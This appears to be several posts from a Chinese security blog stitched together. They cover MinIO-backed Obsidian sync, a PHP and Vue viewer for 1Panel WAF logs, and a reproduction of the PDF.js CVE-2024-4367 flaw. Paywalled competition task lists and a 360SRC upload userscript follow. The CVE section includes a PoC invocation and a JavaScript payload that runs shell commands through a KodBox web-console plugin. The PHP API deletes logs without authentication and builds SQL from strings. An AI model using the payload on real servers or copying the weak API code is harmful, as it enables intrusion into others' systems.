Obsidian+Remotely Save S3插件配合minioS3多端同步笔记
0x0前言最近打算尝试本地笔记软件Obsidian,然后为了实现多端同步使用docker搭建minio来配合Remotely Save插件实现S3同步。准备内容服务器一台已安装dockernginxobsidian两个域名解析用于nginx反代，一个给minio控制台使用一个传输使用s3.xxxx.cns3-api.xxxx.cn0x1 Docker搭建minio并配置Docker启动一个minio容器名为“noteminio”的MinIO容器，映射两个端口（58741和65478）分别为控制台跟数据访问端口，设置用户名和密码，挂载本地目录作为数据存储，并配置语言环境和MinIO服务地址。docker run -d \ --name noteminio \ -p 58741:58741 \ -p 65478:65478 \ --restart always \ -e "MINIO_ROOT_USER=zhanghao" \ -e "MINIO_ROOT_PASSWORD=mima" \ -v /noteminiodata:/data \ -e "LANG=zh_CN.UTF-8" \ minio/minio server /data --console-address ":65478" --address ":58741"启动后在宝塔侧添加一个反向代理,使用s3.xxxx.cn域名把这个端口代出来把API地址也代理出来,也就是58741端口后面上传文件都是向这个接口,域名s3-api.xxxx.cn随后来到宝塔的nginx配置文件目录/www/server/panel/vhost/nginx/，找到api那个域名的配置文件，在location块里面加上proxy_cache_convert_head off;随后打开网站即可访问到minio使用启动Docker时设置的账号密码进入控制台，去建立个桶我这里新建了个notedata区域我这里设置成 cn-east-1保存后Restart一下接下来创建个AK/SK创建的时候SK只会出现一次,要保存好0x2 Obsidian 配置在设置里面第三方插件处安装Remotely Save S3填上代理出来的 s3-api.xxxx.cn地址,其他按图中这些样子选一下填好后,选择检查
0x01 效果演示都是在社区版下展示,可以看到功能跟专业版无差别(可能会有小bug)b站视频地址: https://www.bilibili.com/video/BV1bwWWeAEqk/源码下载地址: https://pan.quark.cn/s/2b460d59f88b0x02 使用首先来到应用商店已安装然后选择php点击参数按钮点击编辑点击高级设置->编辑 compose 文件然后在挂载文件处加上- /opt/1panel/apps/openresty/openresty/1pwaf/data/db:/www/db然后确定重建即可来到容器进入终端ls可以看到db目录然后给db目录权限chmod 777 -R db/然后就可以在网站里面添加php文件,文件名随意内容如下,为了方便所以把内容都写在了一个文件，代码比较简陋有需要的大佬可以自己在改改(也不是不能用)<?php /** * 1panel-WAF数据查看接口API文件 * * @author Juneha juneha@qq.com * @version 1.0 * @website https://blog.mo60.cn/ * @created 2024-08-19 */ error_reporting(0); // error_reporting(E_ALL); // ini_set('display_errors', 1); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE"); header("Access-Control-Allow-Headers: X-Requested-With, Content-Type"); header("Access-Control-Allow-Credentials: true"); class SQLite { function __construct($file) { try { @$this->connection=new PDO('sqlite:'.$file); } catch(PDOException $e) { try { $this->connection=new PDO('sqlite2:'.$file); } catch(PDOException $e) { exit('error!'); } } } function __destruct() { $this->connection=null; } function query($sql) { return $this->connection->query($sql); } function getlist($sql) { $stmt = $this->query($sql); return $stmt->fetchAll(PDO::FETCH_ASSOC); } function Execute($sql) { return $this->query($sql)->fetch(); } function RecordArray($sql) { return $this->query($sql)->fetchAll(); } function RecordCount($sql) { return count($this->RecordArray($sql)); } function RecordLastID() { return $this->connection->lastInsertId(); } } function getDocumentRoot() { $scriptPath = __FILE__; $documentRoot = $_SERVER['DOCUMENT_ROOT']; while (true) { $parentDir = dirname($scriptPath); if ($parentDir === $documentRoot) { break; } if (is_dir($parentDir . '/index.php') || is_dir($parentDir . '/public')) { $documentRoot = $parentDir; } $scriptPath = $parentDir; } return $documentRoot; } function doubleSingleQuotes($string) { $result = str_replace("'", "''", $string); return $result; } function getParameterValue($key, $default = '') { return isset($_GET[$key]) ? doubleSingleQuotes(trim($_GET[$key])) : $default; } function translateWAFParams($param) { $translations = [ 'urlDefense' => 'URL 规则', 'urlHelper' => '禁止访问的 URL', 'dirFilter' => '目录过滤', 'sqlInject' => 'SQL 注入', 'xss' => 'XSS', 'phpExec' => 'PHP 脚本执行', 'oneWordTrojan' => '一句话木马', 'appFilter' => '应用危险目录过滤', 'webshell' => 'Webshell', 'protocolFilter' => '协议过滤', 'javaFileter' => 'Java 危险文件过滤', 'scannerFilter' => '扫描器过滤', 'escapeFilter' => '转义过滤', 'customRule' => '自定义规则', 'httpMethod' => 'HTTP 方法过滤', 'fileExt' => '文件上传限制', 'fileExtHelper' => '禁止上传的文件扩展名', 'fiveSeconds'=> "5 秒验证", 'acl'=> "ACL", 'captcha'=> "人机验证", 'uaBlack' => "User-Agent 黑名单", 'urlBlockList' => "URL 黑名单", 'ipBlack'=> "IP 黑名单", 'unknownWebsite'=> "未授权域名访问", 'geoRestrict'=> "地区访问限制", 'attackCount'=> "攻击频率限制", 'notFoundCount'=> "404 频率限制", 'cookieDefense'=> "Cookie 规则", 'headerDefense'=> "Header 规则", 'defaultUaBlack'=> "User-Agent 规则", 'argsDefense'=> "参数规则", 'httpRule'=>"HTTP 规则", 'defaultUrlBlack'=> "URL 规则", 'defaultIpBlack'=> "恶意 IP 组", 'fileExtCheck'=> "文件上传限制", ]; return isset($translations[$param]) ? $translations[$param] : $param; } function buildInClause($data) { if (empty($data)) { return "IN ('')"; } if (!is_array($data)) { $data = array($data); } $escaped_values = array_map(function($value) { return "'" . doubleSingleQuotes($value) . "'"; }, $data); $in_clause = "IN (" . implode(', ', $escaped_values) . ")"; return $in_clause; } $rootPath = getDocumentRoot(); $onepwafPath=$rootPath.'/../../../db/1pwaf.db'; $req_logPath=$rootPath.'/../../../db/req_log.db'; if (!file_exists($onepwafPath)){ die("1pwaf.db file does not exist!"); } if (!file_exists($req_logPath)){ die("req_log.db file does not exist!"); } $onepwafDB=new SQLite($onepwafPath); $req_logDB=new SQLite($req_logPath); $sql=''; $action = @$_GET['action']; switch ($action) { case 'wafstat': $wafData = $onepwafDB->getlist("SELECT * FROM main.waf_stat order by id desc LIMIT 1"); exit(json_encode($wafData[0])); break; case 'sitelist': $webList=$req_logDB->getlist("SELECT DISTINCT website_key FROM main.req_logs where website_key <> 'unknown' order by time desc"); exit(json_encode($webList)); break; case 'list': $page = intval(getParameterValue('page', 1)); $size = intval(getParameterValue('size', 10)); $websiteKey = getParameterValue('website_key'); $exec_rule = $_GET['exec_rule']; $uri = getParameterValue('uri'); $ip = getParameterValue('ip'); $offset = ($page - 1) * $size; $conditions = []; if (!empty($websiteKey)) { $conditions[] = "website_key='{$websiteKey}'"; } if (!empty($exec_rule)) { $conditions[] = "( exec_rule ".buildInClause($exec_rule)." or rule_type ".buildInClause($exec_rule)." )"; } if (!empty($uri)) { $conditions[] = "uri LIKE '%{$uri}%'"; } if (!empty($ip)) { $conditions[] = "ip='{$ip}'"; } $sql = "SELECT * FROM main.req_logs WHERE 1=1"; if (!empty($conditions)) { $sql .= " AND " . implode(' AND ', $conditions); } if (!empty($conditions)) { $total=$req_logDB->RecordCount($sql); }else{ $total=$req_logDB->RecordCount("SELECT * FROM main.req_logs"); } $sql .= " ORDER BY time DESC LIMIT {$offset}, {$size}"; $req_logData['data'] = $req_logDB->getlist($sql); $req_logData['total'] = $total; // var_dump($sql ); for($i=0;$i<count($req_logData['data']);$i++){ $req_logData['data'][$i]['rule_type']=translateWAFParams($req_logData['data'][$i]['rule_type']); $req_logData['data'][$i]['exec_rule']=translateWAFParams($req_logData['data'][$i]['exec_rule']); } exit(json_encode($req_logData)); break; case 'clearlogs': $status = $req_logDB->query("DELETE FROM main.req_logs"); if($status){ exit(json_encode(['status'=>1])); }else{ exit(json_encode(['status'=>0])); } break; default: header("HTTP/1.1 404 Not Found"); exit; break; } ?>前端代码如下,也是找朋友 @n1l.cn 花了半天手搓的，也是为了方便全部放在了单页里面,需要修改API_BASE_URL 为自己部署的api地址 拦截记录 <el-card class="home-card"> 今日状态 <el-row :gutter="20"> <el-col :span="6"> 请求 {{ req_count }} </el-col> <el-col :span="6"> 拦截 {{ attack_count }} </el-col> <el-col :span="6"> 4xx数量 {{ count4xx }} </el-col> <el-col :span="6"> 5xx数量 {{ count5xx }} </el-col> </el-row> </el-card> <el-card> <el-select v-model="website_key" clearable="" placeholder="请选择" @change="handleChange" class="host"> 网站 <el-option v-for="item in siteList" :key="item.value" :label="item.label" :value="item.value" /> </el-select> <el-select v-model="execRuleList" multiple="" clearable="" collapse-tags="" placeholder="请选择" @change="handleChange" class="execrule"> 命中规则 <el-option v-for="item in execRuleOptions" :key="item.value" :label="item.label" :value="item.value" /> </el-select> <el-input v-model="searchUrl" class="rounded-input" placeholder="请输入 URL，支持模糊搜索" clearable=""></el-input> <el-input v-model="searchIP" class="rounded-input" placeholder="请输入 IP" clearable=""></el-input> <el-button type="primary" plain="" @click="handleChange"> 搜索 </el-button> </el-card> <el-card> 拦截记录 <el-divider direction="vertical" /> <el-button type="primary" plain="" @click="clearlogs"> 清空日志 </el-button> <el-button type="primary" plain="" @click="listData"> 刷新 </el-button> <el-table :data="tableData" style="margin-top: 20px; width: 100%;"> <el-table-column prop="ip" label="IP" min-width="130"></el-table-column> <el-table-column prop="host" label="域名" min-width="250"></el-table-column> <el-table-column prop="uri" label="url" :show-overflow-tooltip="true" min-width="300"></el-table-column> <el-table-column prop="ipLocation" label="IP归属地" width="150"> {{ scope.row.ip_country_zh }} {{ scope.row.ip_province_zh }} </el-table-column> <el-table-column prop="action" label="动作" min-width="100"> <el-tag v-if="scope.row.action === 'deny'" type="error"> 禁止 </el-tag> <el-tag v-else="" type="success"> 允许 </el-tag> </el-table-column> <el-table-column prop="exec_rule" label="命中规则" min-width="150"></el-table-column> <el-table-column prop="rule_type" label="类型" min-width="100"></el-table-column> <el-table-column prop="localtime" label="时间" min-width="180"> </el-table-column> <el-table-column fixed="right" label="操作" width="100"> <el-button style="color: #005eeb;" link="" @click="handleClick(scope.row)"> 详情 </el-button> </el-table-column> </el-table> <el-pagination v-if="!smallPagination" :page-sizes="[5, 10, 20, 50, 100]" size="default" layout="total, sizes, prev, pager, next, jumper" :total="total" @size-change="handleSizeChange" @current-change="handleCurrentChange"> </el-pagination> <el-pagination v-else size="small" background layout="prev, pager, next" :total="total" class="mt-4" @size-change="handleSizeChange" @current-change="handleCurrentChange" /> </el-card> <el-drawer v-model="drawer" :size="drawerSize" @close="handleDrawerClose"> <el-page-header @back="drawer = false" title="返回"> 详情 </el-page-header> <el-descriptions title="攻击详情" :column="1" border> <el-descriptions-item label="攻击 IP"> {{ selectedRow.ip }} </el-descriptions-item> <el-descriptions-item label="时间"> {{ selectedRow.localtime }} </el-descriptions-item> <el-descriptions-item label="动作"> {{ selectedRow.action === 'deny' ? '禁止' : '允许'}} </el-descriptions-item> <el-descriptions-item label="命中规则"> {{ selectedRow.exec_rule }} </el-descriptions-item> <el-descriptions-item label="匹配值"> {{ decodeBase64(selectedRow.match_value) }} </el-descriptions-item> </el-descriptions> <el-descriptions class="margin-top" title="HTTP"> </el-descriptions> </el-drawer> × 0x03 原理 and 文档1panel waf的日志都是保存在openresty容器里面的db文件，目录也有映射出来，我们通过php容器也去挂载一下即可读取到db文件然后读取即可下面是简易的api接口文档wafstat说明：获取 WAF 状态的最新记录。请求方式：GET请求参数：无返回格式：JSON返回示例：json { "id": 5, "day": "2024-08-20", "req_count": 2085, "attack_count": 65, "count4xx": 917, "count5xx": 5, "create_date": "2024-08-19 16:06:47" }2.sitelist说明：获取所有已记录的网站列表。请求方式：GET请求参数：无返回格式：JSON返回示例：json [ { "website_key": "example.com" }, { "website_key": "testsite.com" } ]3.list说明：获取请求日志列表，支持分页和过滤。请求方式：GET请求参数：page：页码（默认值为 1）size：每页条数（默认值为 10）website_key：网站（可选）exec_rule：命中规则（可选）uri：请求 URI（可选）ip：请求 IP（可选）返回格式：JSON返回示例：json { "data": [ { "id": "17b7d444-9631-4bd2-a09e-8f7a4d03f6b6", "ip": "205.210.31.16", "ip_iso": "US", "ip_country_zh": "美国", "ip_country_en": "United States", "ip_province_zh": "", "ip_province_en": "", "ip_longitude": "-97.822", "ip_latitude": "37.751", "localtime": "2024-08-20 03:26:14", "time": 1724124372.559, "server_name": "8.222.178.70", "website_key": "8.222.178.70:8080", "host": "8.222.178.70", "method": "GET", "uri": "/", "user_agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "exec_rule": "恶意 IP 组", "rule_type": "", "match_rule": "", "match_value": "MjA1LjIxMC4zMS4xNg==", "nginx_log": "GET / HTTP/1.0\nUSER-AGENT: Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com\nACCEPT: */*\n", "blocking_time": 0, "action": "deny", "is_block": 0, "is_attack": 1 } ], "total": 13 }4.clearlogs说明：清除所有请求日志。请求方式：GET请求参数：无返回格式：JSON返回示例：json { "status": 1 }status：操作状态，1 表示成功，0 表示失败。
1.CVE-2024-4367 介绍PDF.js是一个由Mozilla开发的、广泛使用的开源便携式文档格式 (PDF) 查看器，可以在Web浏览器中显示PDF文档，而无需依赖任何本地插件PDF.js被内置于Mozilla Firefox中，也可被其他Web浏览器使用。Mozilla PDF.js 4.2.67之前版本在font_loader.js 中存在代码注入漏洞，当PDF.js 配置isEvalSupported 选项设置为 true（默认值）时会将输入传递到 函数，威胁者可通过诱导用户打开恶意PDF文件来利用该漏洞，成功利用可能导致在登录用户或托管域的上下文中执行任意JavaScript。影响范围:Mozilla PDF.js < 4.2.67pdfjs-dist (npm) < 4.2.67react-pdf (npm) < 7.7.38.0.0<= react-pdf (npm) < 8.0.22.漏洞复现测试的时候是当下的最新版本 1.52需要安装官方插件PDF阅读器,版本也为当下最新1.47然后下载利用pochttps://github.com/LOURC0D3/CVE-2024-4367-PoC然后生成一个弹cookie的poc.pdf文件D:\CVE-2024-4367-PoC-main> .\CVE-2024-4367.py "alert(document.cookie)" [+] Created malicious PDF file: poc.pdf [+] Open the file with the vulnerable application to trigger the exploit.上传后打开我们可以利用可道云终端插件来执行命令，这里是如果已经按照终端插件的情况下才能使用，或者使用js去按照插件后利用var xhr=new XMLHttpRequest(),url='/plugins/webConsole/lib/';xhr.open('POST',url,!0),xhr.setRequestHeader('Content-Type','application/json'),xhr.setRequestHeader('X-Requested-With','XMLHttpRequest'),xhr.onreadystatechange=function(){4===xhr.readyState&&200===xhr.status&&(alert(JSON.parse(xhr.responseText).result.output))};var cmd='id',data={'jsonrpc':'2.0','method':'run','params':['NO_LOGIN',{'user':'','hostname':'','path':''},cmd],'id':1},jsonData=JSON.stringify(data);xhr.send(jsonData); 生成漏洞pdf文件然后上传后访问成功执行命令
数据分析题-信息安全管理与评估-2022年省赛-环境+WP
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈数据分析题-信息安全管理与评估-2022年省赛-环境+WP内容包括数据包+WP序号任务内容1使用Wireshark分析数据包找出telnet服务器(路由器)的用户名和密码，并将密码作为Flag值提交。flag格式:flag {密码}2使用Wireshark分析capture. pcapng数据流量包，telnet服务器是一台路由器，找出此台路由器的特权密码，并将密码作为Flag值提交。flag格 式:flag {密码}3使用Wireshark分析capture. pcapng数据流量包，telnet服务器是一一台路由器，正在被192.168.181.141这台主机进行密码爆破，将此主机进行密码爆破的次数作为Flag值提交。flag格式:flag {爆破次数}4使用Wireshark分析capture. pcapog数据流量包，ftp服务器已经传输文件结束，将登陆服务器后的第一条指令作为Flag值提交.flag格式:flag{第一条指令}。5使用Wireshark 分析capture. pcapos效据流量包，ftp服务器已经传输文件结束，将建立FTP服务器的数据连接的次数作为Flag值提交。flag 格式:flag {连接次数}6使用Wireshark分析capture. pcepng数据流量包，ftp服务器已经传输文件结束，将登陆服务器后第一次使用数据连接的端口号作为Flag值提交. flg格式:flag{第一次连接端口}。7使用Wireshark分析capture. pcapog数据流量包，web服务器地址是192. 168. 181. 250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交.flag格式:flag {php版本号}8使用Wireshark分析capture. pcapng数据流量包，web服务器地址是192.168.181.250，将web服务器软件的版本号作为Flag值提交。flag格式: flag {web软件版本号}9使用Wireshark分析capture.pcapng数据流量包，找出数据包当中所有HTTP状态码为404的报文，将这些报文的数量作为Flag值提交。flag格 式:flag{报文数量}10使用Wireshark分析capture.pcapng数据流量包，这些数据中有非常多的ICMP报文，其中有一个设备是路由器 IP地址为192.168.181.25，将路由器上主动发出的ping请求的数量作为Flag值提交。flag格式:flag {请求数量}11使用Wireshark分析capture.pcapng数据包文件，这些数据中有非常多的ICMP报文，这些报文中有大量的非正常ICMP报文，找出类型为重定向的所有报文，将报文重定向的数量作为Flag值提交。flag格 式:flag {重定向数量}12使用Wi reshark分析capture.pcapng数据包文件，这些数据中有ssh报文，由于ssh有加密功能，现需要将这些加密报文的算法分析出来，将ssh客户端支持的第一个算法的名称作为Flag值提交。flag格式:flag{第一个算法名称}13使用Wireshark并分析capture.pcapng数据包文件，这些数据中有ssh报文，由于ssh有加密功能，现需要将这些加密报文的算法分析出来，将ssh服务器支持的第一个算法的密钥长度作为Flag值提交。flag格式:flag{第一个算法密钥长度}0x02 内容[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
Web题-信息安全管理与评估-2023年国赛Web模拟题-环境
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈为2023年web模拟环境的一键版本,当然文章里面也有搭建教程，这里是懒得搭建的福音[post cid="1080" /]内容包括虚拟机文件,和两个快照0x02 内容[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈内容包括虚拟机文件,解析文档+答案,此题为2022国赛题目，也在2023年省赛出现过(2022国赛后的第一次省赛),对应题目如下任务编号任务描述1提交攻击者的 IP 地址2识别攻击者使用的操作系统3找出攻击者资产收集所使用的平台4提交攻击者目录扫描所使用的工具名称5提交攻击者首次攻击成功的时间，格式：DD /MM/YY:HH:MM:SS6找到攻击者写入的恶意后门文件，提交文件名（完整路径）和后门密码7找到攻击者隐藏在正常 web 应用代码中的恶意代码，提交该文件名（完整路径）8识别系统中存在的恶意程序进程，提交进程名9找到文件系统中的恶意程序文件并提交文件名（完整路径）10简要描述该恶意文件的行为[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
应急响应-Windows-信息安全管理与评估-2023年国赛模拟题-环境+wp
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈内容包括虚拟机文件,解析文档+答案+,此题为国赛前模拟练习使用环境,对应题目如下序号任务内容1请提交攻击者攻击成功的第一时间，格式：YY:MM:DD hh:mm:ss2请提交攻击者的浏览器版本3请提交攻击者目录扫描所使用的工具名称4找到攻击者写入的恶意后门文件，提交文件名（完整路径）5找到攻击者隐藏在正常web应用代码中的恶意代码，提交该文件名（完整路径）6请提交内存中可疑进程的PID7请提交攻击者执行过几次修改文件访问权限的命令8请指出可疑进程采用的自动启动的方式[binary]此处内容作者设置了 付费50 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
应急响应-Linux-信息安全管理与评估-2023年国赛模拟题-环境+wp
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈内容包括虚拟机文件,解析文档+答案,此题为国赛前模拟练习使用环境,对应题目如下序号任务内容1请提交攻击者的IP地址2请提交攻击者使用的操作系统3请提交攻击者进入网站后台的密码4请提交攻击者首次攻击成功的时间，格式：DD/MM/YY:hh:mm:ss5请提交攻击者上传的恶意文件名（含路径）6请提交攻击者写入的恶意后门文件的连接密码7请提交攻击者创建的用户账户名称8请提交恶意进程的名称9请提交恶意进程对外连接的IP地址[binary]此处内容作者设置了 付费50 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
单机取证-信息安全管理与评估-2022年国赛真题-环境+wp
0x0 前言支付后请将页面保存下来（推荐保存为mhtml）,更新浏览器缓存可能导致无法查看，可以与我联系或者评论反馈内容包括镜像文件,解析文档+答案0x01 内容[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
360Src复制粘贴上传图片方便书写报告-油猴脚本
0x01前言在360src没办法直接上传图片要将文件保存到本地后非常不方便，写个小脚本提高效率效果如下0x02 食用方法这里使用的油猴加载js所以需要油猴插件然后添加新脚本把脚本复制进去，脚本在页面最底部写报告的时候要在红圈范围里面粘贴才可以// ==UserScript== // @name 360SRC复制上传图片 // @namespace https://blog.mo60.cn/index.php/archives/360src_copy_upload_img.html // @version 0.1.1 // @description 方便书写报告粘贴上传图片 // @author Juneha // @match https://security.360.cn/Report/index // @icon https://www.360.cn/favicon.ico // @grant none // @require https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js // ==/UserScript== window.onload = function() { $(function() { var token = $('#token').val(); var uploadUrl = '/Report/uploadimg?token=' + token + '&action=uploadimage&t=1'; var iframe = $('#ueditor_0')[0]; var doc = iframe.contentDocument || iframe.contentWindow.document; var body = doc.getElementsByTagName('body')[0]; function uploadImage(file) { // 显示上传提示 var progress = $(' 图片上传中... '); body.appendChild(progress[0]); progress.css({ position: 'fixed', top: '50%', left: '50%', transform: 'translate(-50%, -50%)', background: '#ffffff', border: '1px solid #ccc', padding: '10px', borderRadius: '5px', }); var randomIndex = Math.random().toString(10).substr(2, 5) + '-' + Math.random().toString(36).substr(2); var fileName = randomIndex + '.png'; var formData = new FormData(); formData.append('name', fileName); formData.append('file', file, fileName); $.ajax({ url: uploadUrl, type: 'POST', data: formData, contentType: false, processData: false, xhr: function() { var xhr = $.ajaxSettings.xhr(); if (xhr.upload) { // 上传进度监听 xhr.upload.addEventListener("progress", function(e) { if (e.lengthComputable) { var percent = Math.floor((e.loaded / e.total) * 100); progress.text("图片上传中..." + percent + "%"); } }, false); } return xhr; }, success: function(result) { // 隐藏上传提示 progress.remove(); if (result && result.errno == 0) { var img = ' '; console.log('https://blog.mo60.cn/index.php/archives/360src_copy_upload_img.html'); body.insertAdjacentHTML('beforeend', img); }else{ body.insertAdjacentHTML('beforeend', " "+result.info+" "); } }, error: function() { // 隐藏上传提示 progress.remove(); var errorMsg = ' 图片上传失败！ '; body.insertAdjacentHTML('beforeend', errorMsg); } }); } body.addEventListener('paste', function(e) { var clipboardData = e.clipboardData || window.clipboardData; var items = clipboardData.items; for (var i = 0; i < items.length; i++) { if (items[i].kind === 'file') { e.preventDefault(); uploadImage(items[i].getAsFile()); break; } } }); }); }